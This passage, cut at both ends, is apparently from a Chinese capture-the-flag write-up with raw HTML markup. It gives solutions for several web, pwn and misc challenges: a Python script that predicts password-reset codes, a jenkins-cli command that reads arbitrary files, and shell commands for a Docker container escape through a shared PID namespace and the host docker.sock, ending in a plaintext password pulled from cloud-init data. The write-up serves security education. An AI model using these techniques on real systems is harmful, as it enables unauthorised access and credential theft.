class="code-snippet_outer">    response = session.post(url, data={</span></code><code><span class="code-snippet_outer">        &#39;email&#39;: email,</span></code><code><span class="code-snippet_outer">        &#39;username&#39;: name,</span></code><code><span class="code-snippet_outer">        &#39;csrfmiddlewaretoken&#39;: args.cstoken,</span></code><code><span class="code-snippet_outer">    }, allow_redirects=False,headers=session.headers)</span></code><code><span class="code-snippet_outer">    assert response.status_code == 200</span></code><code><span class="code-snippet_outer">    logging.info(&#34;send code headers: %r response: %r&#34;, response.headers, response.text)</span></code><code><span class="code-snippet_outer">def do_setup_password(target: str):</span></code><code><span class="code-snippet_outer">    url = urljoin(target, &#34;/do-reset-password/&#34; )</span></code><code><span class="code-snippet_outer">    response = session.get(url,allow_redirects=False)</span></code><code><span class="code-snippet_outer">    logging.info(&#34;send code headers: %r response: %r&#34;, response.headers, response.text)</span></code><code><span class="code-snippet_outer">def main(target: str,name:str, email: str, seed: str,args):</span></code><code><span class="code-snippet_outer">    fix_seed(target, seed)</span></code><code><span class="code-snippet_outer">    nop_random(seed)</span></code><code><span class="code-snippet_outer">    send_code(target, name,email,args)</span></code><code><span class="code-snippet_outer">    do_setup_password(target)</span></code><code><span class="code-snippet_outer">    code = random_string(6, lower=False, upper=False)</span></code><code><span class="code-snippet_outer">    print(code)</span></code><code><span class="code-snippet_outer">    # logging.info(&#34;your code is %s&#34;, code)</span></code><code><span class="code-snippet_outer">if __name__ == &#34;__main__&#34;:</span></code><code><span class="code-snippet_outer">    parser = argparse.ArgumentParser(description=&#39;Process some integers.&#39;)</span></code><code><span class="code-snippet_outer">    parser.add_argument(&#39;-t&#39;, &#39;--target&#39;, type=str, required=True, help=&#39;target url&#39;)</span></code><code><span class="code-snippet_outer">    parser.add_argument(&#39;--name&#39;, type=str, required=True, help=&#39;account name&#39;)</span></code><code><span class="code-snippet_outer">    parser.add_argument(&#39;--email&#39;, type=str, required=True, help=&#39;account email&#39;)</span></code><code><span class="code-snippet_outer">    parser.add_argument(&#39;--seed&#39;, type=str, required=True, help=&#39;seed from captcha url&#39;)</span></code><code><span class="code-snippet_outer">    parser.add_argument(&#39;--cscookie&#39;, type=str, required=True, help=&#39;csrf cookie&#39;)</span></code><code><span class="code-snippet_outer">    parser.add_argument(&#39;--cstoken&#39;, type=str, required=True, help=&#39;csrf token&#39;)</span></code><code><span class="code-snippet_outer">    args = parser.parse_args()</span></code><code><span class="code-snippet_outer">    main(args.target,args.name, args.email, args.seed,args)</span></code></pre></section><p style="text-align:center;"><img class="rich_pages wxw-img js_insertlocalimg" data-backh="198" data-backw="578" data-imgfileid="503903324" data-ratio="0.3425925925925926" data-s="300,640" data-type="png" data-w="1080" style="width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=0f1dca48&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FFOh11C4BDicS3QLhwld24xYnY5W2bDr4CR7ToibAdtgzRPvy2qiaTOGiaUq3t3EjCft5X6JTRCCHMZRV2FrvBghTgg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span style="font-size: 15px;">这里可以得到验证码为: 788593</span><br/></p><p style="text-align:center;"><img class="rich_pages wxw-img js_insertlocalimg" data-backh="111" data-backw="578" data-imgfileid="503903328" data-ratio="0.1925925925925926" data-s="300,640" data-type="png" data-w="1080" style="width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=52ae2adb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FFOh11C4BDicS3QLhwld24xYnY5W2bDr4CXE3solTjlaiatl2KicV2DCDw2KygXPP1dpf1R7cOEKkiaOibeib4u48xQDQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align:center;"><br/></p><article data-clipboard-cangjie="[&#39;root&#39;,{},[&#39;p&#39;,{&#39;uuid&#39;:&#39;lrxcl2mrr88tjwlk3ij&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;使用重置好的密码进行登录，即可在后台获取flag&#39;]]]]" data-identifier-application__slash__x-cangjie-fragment="JTdCJTIya2xhc3MlMjIlM0ElMjJkb2N1bWVudCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnV1aWQlMjIlM0ElMjJscnhjbDJtcnI4OHRqd2xrM2lqJTIyJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJUU0JUJEJUJGJUU3JTk0JUE4JUU5JTg3JThEJUU3JUJEJUFFJUU1JUE1JUJEJUU3JTlBJTg0JUU1JUFGJTg2JUU3JUEwJTgxJUU4JUJGJTlCJUU4JUExJThDJUU3JTk5JUJCJUU1JUJEJTk1JUVGJUJDJThDJUU1JThEJUIzJUU1JThGJUFGJUU1JTlDJUE4JUU1JTkwJThFJUU1JThGJUIwJUU4JThFJUI3JUU1JThGJTk2ZmxhZyUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE" data-identifier-application__slash__x-doc-key="4j6OJQ9jydW7q3p8"><p><span style="font-size: 15px;">使用重置好的密码进行登录，即可在后台获取flag</span></p></article><p style="text-align:center;"><img class="rich_pages wxw-img js_insertlocalimg" data-backh="325" data-backw="578" data-imgfileid="503903326" data-ratio="0.562962962962963" data-s="300,640" data-type="png" data-w="1080" style="width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=f8565aa2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FFOh11C4BDicS3QLhwld24xYnY5W2bDr4CpicpWhz5yK6S3raNkKfRTUG1xypdkTVNxCibVYG3lV9nWNRz6HNqUicsA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align:center;"><br/></p><p style="text-align:center;"><br/></p></article><section data-role="title" data-tools="135编辑器" data-id="138191"><section style="margin: 10px auto;display: flex;align-items: center;"><section style="flex-shrink: 0;display: flex;align-items: center;"><section style="padding-top: 4px;padding-bottom: 4px;"><section style="padding-right: 4px;padding-left: 4px;border-width: 1px;border-style: solid;border-color: rgb(215, 227, 188);"><section style="background-color: rgb(146, 208, 80);width: 2.2em;height: 2.2em;display: flex;justify-content: center;align-items: center;"><section style="font-size: 16px;color: rgb(255, 255, 255);text-align: center;"><strong>07</strong></section></section></section></section><section style="padding-right: 10px;padding-left: 10px;color: rgb(146, 208, 80);text-align: center;"><strong><span style="text-align: left;">Be-a-Security-Research</span></strong></section></section><section data-width="100%" style="width: 100%;border-top: 1px solid rgb(215, 227, 188);height: 1px;overflow: hidden;"><br/></section><section style="flex-shrink: 0;"><section style="width: 22px;height: 0px;overflow: hidden;"><br/></section></section></section></section><article data-clipboard-cangjie="[&#39;root&#39;,{},[&#39;p&#39;,{&#39;uuid&#39;:&#39;lrx3yu6wqjawmjf8qu&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;&#39;]],[&#39;inlineCode&#39;,{&#39;uuid&#39;:&#39;lrx3yx6yrlc5tqnky6&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;Web&#39;]]],[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;, &#39;]],[&#39;inlineCode&#39;,{&#39;uuid&#39;:&#39;lrx3yy49sor5k5yoxz&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;difficulty:Baby&#39;]]],[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;&#39;]]],[&#39;p&#39;,{&#39;uuid&#39;:&#39;lrx3n07s4f6qbsxarke&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;直接使用 jenkins-cli 利用即可：&#39;]]],[&#39;p&#39;,{&#39;uuid&#39;:&#39;lrxae62u31lrfwyrgwq&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;java -jar jenkins-cli.jar -s &#39;]],[&#39;a&#39;,{&#39;href&#39;:&#39;http://47.96.171.129:8080/&#39;,&#39;uuid&#39;:&#39;lrxaeswoaxdlzrxzcif&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;http://x&#39;]]],[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;xxx/ -http who-am-i \&#39;@/flag\&#39;&#39;]]]]" data-identifier-application__slash__x-doc-key="4j6OJQ9jydW7q3p8"><p><br/></p><p><span style="font-size: 15px;background-color: rgb(214, 214, 214);">Web</span><span style="font-size: 15px;">, </span><span style="font-size: 15px;background-color: rgb(214, 214, 214);">difficulty:Baby</span></p><p><br/></p><p><span style="font-size: 15px;">直接使用 jenkins-cli 利用即可：</span></p><p><span style="font-size: 15px;">java -jar jenkins-cli.jar -s <a href="http://xxxx/ -http" target="_blank">http://xxxx/ -http</a> who-am-i &#34;@/flag&#34;</span></p></article><p><br/></p><p><br/></p><section data-role="title" data-tools="135编辑器" data-id="138191"><section style="margin: 10px auto;display: flex;align-items: center;"><section style="flex-shrink: 0;display: flex;align-items: center;"><section style="padding-top: 4px;padding-bottom: 4px;"><section style="padding-right: 4px;padding-left: 4px;border-width: 1px;border-style: solid;border-color: rgb(215, 227, 188);"><section style="background-color: rgb(146, 208, 80);width: 2.2em;height: 2.2em;display: flex;justify-content: center;align-items: center;"><section style="font-size: 16px;color: rgb(255, 255, 255);text-align: center;"><strong>08</strong></section></section></section></section><section style="padding-right: 10px;padding-left: 10px;color: rgb(146, 208, 80);text-align: center;"><strong><span style="text-align: left;">Be-a-Docker-Escaper-4</span></strong></section></section><section data-width="100%" style="width: 100%;border-top: 1px solid rgb(215, 227, 188);height: 1px;overflow: hidden;"><br/></section><section style="flex-shrink: 0;"><section style="width: 22px;height: 0px;overflow: hidden;"><br/></section></section></section></section><p><br/></p><article data-identifier-application__slash__x-doc-key="4j6OJQ9jydW7q3p8"><p><span style="font-size: 15px;background-color: rgb(214, 214, 214);">Pwn</span><span style="font-size: 15px;">, </span><span style="font-size: 15px;background-color: rgb(214, 214, 214);">difficulty:Normal</span></p><p><br/></p><p><span style="font-size: 15px;">这个题目的出题思路来自于：<a href="https://www.anquanke.com/post/id/290540 这篇文章。选手成功通过" target="_blank">https://www.anquanke.com/post/id/290540 这篇文章。选手成功通过</a> ssh 成功连接上环境后，会发现这是一个容器环境，而且通过</span><span style="font-size: 15px;background-color: rgb(214, 214, 214);"> ps -aux</span></p><p><span style="font-size: 15px;">命令能看到这个容器的启动命令：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer">1000        <span style="color: rgb(221, 17, 68);">1113  0.0  0.0   6188   992 pts/0    S+   06:25   0:00 sleep 10000</span></span></code><code><span class="code-snippet_outer">1000        <span style="color: rgb(221, 17, 68);">1114  0.0  2.3 1180376 23264 pts/0   Sl+  06:25   0:00 docker run --rm -it --pid=host --security-opt=apparmor=unconfined ubuntu bash</span></span></code></pre></section></article><article data-clipboard-cangjie="[&#39;root&#39;,{},[&#39;p&#39;,{&#39;uuid&#39;:&#39;lrx4c89tic2vrkonmzg&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;可以发现该容器共享了 &#39;]],[&#39;inlineCode&#39;,{&#39;uuid&#39;:&#39;lrx4cip16ksczqqhrn&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;pid&#39;]]],[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;， 因此能通过 &#39;]],[&#39;inlineCode&#39;,{&#39;uuid&#39;:&#39;lrx4cnqq1xy6405qt4h&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;ps&#39;]]],[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;命令看到容器外的进程。此外还有一个 uid 为 1000 的 sleep 进程。 预期解法如下：&#39;]]]]" data-identifier-application__slash__x-doc-key="4j6OJQ9jydW7q3p8"><p><span style="font-size: 15px;">可以发现该容器共享了 </span><span style="font-size: 15px;background-color: rgb(214, 214, 214);">pid</span><span style="font-size: 15px;">， 因此能通过 </span><span style="font-size: 15px;background-color: rgb(214, 214, 214);">ps</span><span style="font-size: 15px;">命令看到容器外的进程。此外还有一个 uid 为 1000 的 sleep 进程。 预期解法如下：</span></p></article><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer"><span style="color: rgb(175, 175, 175);">#!/bin/sh</span></span></code><code><span class="code-snippet_outer">pid=$(pidof sleep)</span></code><code><span class="code-snippet_outer">useradd -u 1000 user</span></code><code><span class="code-snippet_outer">su user -c <span style="color: rgb(221, 17, 68);">&#34;cat /proc/<span style="color: rgb(14, 156, 229);">$pid</span>/root/flag1&#34;</span></span></code></pre></section><article data-clipboard-cangjie="[&#39;root&#39;,{},[&#39;p&#39;,{&#39;uuid&#39;:&#39;lrx4fvz3kij0symz8vs&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;创建一个 uid 为 1000 的用户， 然后通过读 &#39;]],[&#39;inlineCode&#39;,{&#39;uuid&#39;:&#39;lrx4hzvi6oycnmi2jq&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;sleep&#39;]]],[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39; 进程下的 &#39;]],[&#39;inlineCode&#39;,{&#39;uuid&#39;:&#39;lrx4ibrnifgxltmr3ea&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;/proc/$PID/root&#39;]]],[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39; 的文件就能读到 fla&#39;]]]]" data-identifier-application__slash__x-cangjie-fragment="JTdCJTIya2xhc3MlMjIlM0ElMjJkb2N1bWVudCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnV1aWQlMjIlM0ElMjJscng0ZnZ6M2tpajBzeW16OHZzJTIyJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJUU1JTg4JTlCJUU1JUJCJUJBJUU0JUI4JTgwJUU0JUI4JUFBJTIwdWlkJTIwJUU0JUI4JUJBJTIwMTAwMCUyMCVFNyU5QSU4NCVFNyU5NCVBOCVFNiU4OCVCNyVFRiVCQyU4QyUyMCVFNyU4NCVCNiVFNSU5MCU4RSVFOSU4MCU5QSVFOCVCRiU4NyVFOCVBRiVCQiUyMCUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTJDJTdCJTIya2xhc3MlMjIlM0ElMjJpbmxpbmUlMjIlMkMlMjJ0eXBlJTIyJTNBJTIyaW5saW5lQ29kZSUyMiUyQyUyMmRhdGElMjIlM0ElN0IlMjJ1dWlkJTIyJTNBJTIybHJ4NGh6dmk2b3ljbm1pMmpxJTIyJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyc2xlZXAlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCUyQyU3QiUyMmtsYXNzJTIyJTNBJTIydGV4dCUyMiUyQyUyMmxlYXZlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjIlMjAlRTglQkYlOUIlRTclQTglOEIlRTQlQjglOEIlRTclOUElODQlMjAlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCUyQyU3QiUyMmtsYXNzJTIyJTNBJTIyaW5saW5lJTIyJTJDJTIydHlwZSUyMiUzQSUyMmlubGluZUNvZGUlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTIydXVpZCUyMiUzQSUyMmxyeDRpYnJuaWZneGx0bXIzZWElMjIlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIydGV4dCUyMiUyQyUyMmxlYXZlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjIlMkZwcm9jJTJGJTI0UElEJTJGcm9vdCUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTJDJTdCJTIya2xhc3MlMjIlM0ElMjJ0ZXh0JTIyJTJDJTIybGVhdmVzJTIyJTNBJTVCJTdCJTIya2xhc3MlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMiUyMCVFNyU5QSU4NCVFNiU5NiU4NyVFNCVCQiVCNiVFNSVCMCVCMSVFOCU4MyVCRCVFOCVBRiVCQiVFNSU4OCVCMCUyMGZsYSUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE" data-identifier-application__slash__x-doc-key="4j6OJQ9jydW7q3p8"><p><span style="font-size: 15px;">创建一个 uid 为 1000 的用户， 然后通过读</span><span style="font-size: 15px;background-color: rgb(214, 214, 214);"> sleep </span><span style="font-size: 15px;">进程下的</span><span style="font-size: 15px;background-color: rgb(214, 214, 214);"> /proc/$PID/root</span><span style="font-size: 15px;"> 的文件就能读到 flag。</span></p></article><p><br/></p><p><br/></p><section data-role="title" data-tools="135编辑器" data-id="138191"><section style="margin: 10px auto;display: flex;align-items: center;"><section style="flex-shrink: 0;display: flex;align-items: center;"><section style="padding-top: 4px;padding-bottom: 4px;"><section style="padding-right: 4px;padding-left: 4px;border-width: 1px;border-style: solid;border-color: rgb(215, 227, 188);"><section style="background-color: rgb(146, 208, 80);width: 2.2em;height: 2.2em;display: flex;justify-content: center;align-items: center;"><section style="font-size: 16px;color: rgb(255, 255, 255);text-align: center;"><strong>09</strong></section></section></section></section><section style="padding-right: 10px;padding-left: 10px;color: rgb(146, 208, 80);text-align: center;"><strong><span style="text-align: left;">Be-a-Cloud-Hacker</span></strong></section></section><section data-width="100%" style="width: 100%;border-top: 1px solid rgb(215, 227, 188);height: 1px;overflow: hidden;"><br/></section><section style="flex-shrink: 0;"><section style="width: 22px;height: 0px;overflow: hidden;"><br/></section></section></section></section><p><br/></p><article data-identifier-application__slash__x-doc-key="4j6OJQ9jydW7q3p8"><p><span style="font-size: 15px;background-color: rgb(214, 214, 214);">Misc</span><span style="font-size: 15px;">, </span><span style="font-size: 15px;background-color: rgb(214, 214, 214);">difficulty:Baby</span></p><p><br/></p><p><span style="font-size: 15px;">当成功获取 </span><span style="font-size: 15px;background-color: rgb(214, 214, 214);">Be-a-Docker-Escaper-4</span><span style="font-size: 15px;">的容器外权限后， 我们可以先把权限提升到</span><span style="font-size: 15px;background-color: rgb(214, 214, 214);">root</span><span style="font-size: 15px;">， 通过题目描述，我们需要找到</span><span style="font-size: 15px;background-color: rgb(214, 214, 214);"> user</span><span style="font-size: 15px;">这个用户的密码。 最终可以在</span><span style="font-size: 15px;background-color: rgb(214, 214, 214);"> cloud init</span><span style="font-size: 15px;">的目录下找到 </span><span style="font-size: 15px;background-color: rgb(214, 214, 214);">user-data.txt</span><span style="font-size: 15px;">里面存储了 </span><span style="font-size: 15px;background-color: rgb(214, 214, 214);">cloud init</span><span style="font-size: 15px;">的配置文件， 能找到一个明文密码， 完整的利用如下：</span></p></article><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer">#!/bin/sh</span></code><code><span class="code-snippet_outer">apt update</span></code><code><span class="code-snippet_outer">apt install docker.io</span></code><code><span class="code-snippet_outer">pid=$(pidof sleep)</span></code><code><span class="code-snippet_outer">groupadd -g 1001 user</span></code><code><span class="code-snippet_outer">useradd -m -g 1001 -u 1000 user</span></code><code><span class="code-snippet_outer">groupadd -g 1000 docker # modify /etc/group</span></code><code><span class="code-snippet_outer"># root@e2bbe4774805:/# cat /etc/group | grep docker</span></code><code><span class="code-snippet_outer"># docker:x:1000:user</span></code><code><span class="code-snippet_outer">usermod -aG docker user</span></code><code><span class="code-snippet_outer">su user -c &#34;cat /proc/$pid/root/flag1&#34;</span></code><code><span class="code-snippet_outer">su user</span></code><code><span class="code-snippet_outer">pid=$(pidof sleep)</span></code><code><span class="code-snippet_outer">docker -H unix:///proc/$pid/root/run/docker.sock run -it --privileged ubuntu bash</span></code><code><span class="code-snippet_outer"># docker -H unix:///proc/$pid/root/run/docker.sock ps -a</span></code><code><span class="code-snippet_outer">#  ---- The commands running in the privileged container are as follows ----</span></code><code><span class="code-snippet_outer"># mkdir /tmp/a</span></code><code><span class="code-snippet_outer"># mount /dev/sda1 /tmp/a</span></code><code><span class="code-snippet_outer"># chmod 777 /tmp/a/var/lib/cloud/instances/*/user-data.txt</span></code><code><span class="code-snippet_outer"># cat /tmp/a/var/lib/cloud/instances/*/user-data.txt |grep rwctf</span></code></pre></section><p style="text-align:center;"><img class="rich_pages wxw-img js_insertlocalimg" data-backh="136" data-backw="578" data-imgfileid="503903329" data-ratio="0.2351851851851852" data-s="300,640" data-type="png" data-w="1080" style="width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=5e7f826b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FFOh11C4BDicS3QLhwld24xYnY5W2bDr4CJRBiblVGgXR5UnczY5hUser4JRxX6JIMwPicLsgLzp4hD12qPLKfVTKQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><br/></p><p><br/></p><section data-role="title" data-tools="135编辑器" data-id="138191"><section style="margin: 10px auto;display: flex;align-items: center;"><section style="flex-shrink: 0;display: flex;align-items: center;"><section style="padding-top: 4px;padding-bottom: 4px;"><section style="padding-right: 4px;padding-left: 4px;border-width: 1px;border-style: solid;border-color: rgb(215, 227, 188);"><section style="background-color: rgb(146, 208, 80);width: 2.2em;height: 2.2em;display: flex;justify-content: center;align-items: center;"><section style="font-size: 16px;color: rgb(255, 255, 255);text-align: center;"><strong>10</strong></section></section></section></section><section style="padding-right: 10px;padding-left: 10px;color: rgb(146, 208, 80);text-align: center;"><strong><span style="text-align: left;">vision</span></strong></section></section><section data-width="100%" style="width: 100%;border-top: 1px solid rgb(215, 227, 188);height: 1px;overflow: hidden;"><br/></section><section style="flex-shrink: 0;"><section style="width: 22px;height: 0px;overflow: hidden;"><br/></section></section></section></section><p><br/></p><article data-clipboard-cangjie="[&#39;root&#39;,{},[&#39;p&#39;,{&#39;uuid&#39;:&#39;lrx3rz2wnmf9bfi0fc&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;&#39;]],[&#39;inlineCode&#39;,{&#39;uuid&#39;:&#39;lrx3s0xeau1wqgkm6zu&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;Pwn&#39;]]],[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;, &#39;]],[&#39;inlineCode&#39;,{&#39;uuid&#39;:&#39;lrx3votvjfvn080dbio&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;difficulty:Baby&#39;]]],[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;&#39;]]],[&#39;p&#39;,{&#39;uuid&#39;:&#39;lrx73y7wx0myzcr8vxd&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;&#39;]]],[&#39;p&#39;,{&#39;uuid&#39;:&#39;lrx73yb4by2ykrl4dd7&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;连上之后会发现这是一个 Restricted shell ， 其支持的命令有如下：&#39;]]]]" data-identifier-application__slash__x-doc-key="4j6OJQ9jydW7q3p8"><p><span style="font-size: 15px;background-color: rgb(214, 214, 214);">Pwn</span><span style="font-size: 15px;">, </span><span style="font-size: 15px;background-color: rgb(214, 214, 214);">difficulty:Baby</span></p><p><br/></p><p><span style="font-size: 15px;">连上之后会发现这是一个 Restricted shell ， 其支持的命令有如下：</span></p></article><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer"> ping, uname, <span style="color: rgb(202, 125, 55);">pwd</span>, date, whoami, poweroff, id, showKey, openthedoor</span></code></pre></section></article><article data-clipboard-cangjie="[&#39;root&#39;,{},[&#39;p&#39;,{&#39;uuid&#39;:&#39;lrx779jo7macwba6ph&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;预期的题目解法是通过逆向发现， 判断是否合法的命令的时候的代码如下：&#39;]]]]" data-identifier-application__slash__x-cangjie-fragment="JTdCJTIya2xhc3MlMjIlM0ElMjJkb2N1bWVudCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnV1aWQlMjIlM0ElMjJscng3NzlqbzdtYWN3YmE2cGglMjIlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIydGV4dCUyMiUyQyUyMmxlYXZlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjIlRTklQTIlODQlRTYlOUMlOUYlRTclOUElODQlRTklQTIlOTglRTclOUIlQUUlRTglQTclQTMlRTYlQjMlOTUlRTYlOTglQUYlRTklODAlOUElRTglQkYlODclRTklODAlODYlRTUlOTAlOTElRTUlOEYlOTElRTclOEUlQjAlRUYlQkMlOEMlMjAlRTUlODglQTQlRTYlOTYlQUQlRTYlOTglQUYlRTUlOTAlQTYlRTUlOTAlODglRTYlQjMlOTUlRTclOUElODQlRTUlOTElQkQlRTQlQkIlQTQlRTclOUElODQlRTYlOTclQjYlRTUlODAlOTklRTclOUElODQlRTQlQkIlQTMlRTclQTAlODElRTUlQTYlODIlRTQlQjglOEIlRUYlQkMlOUE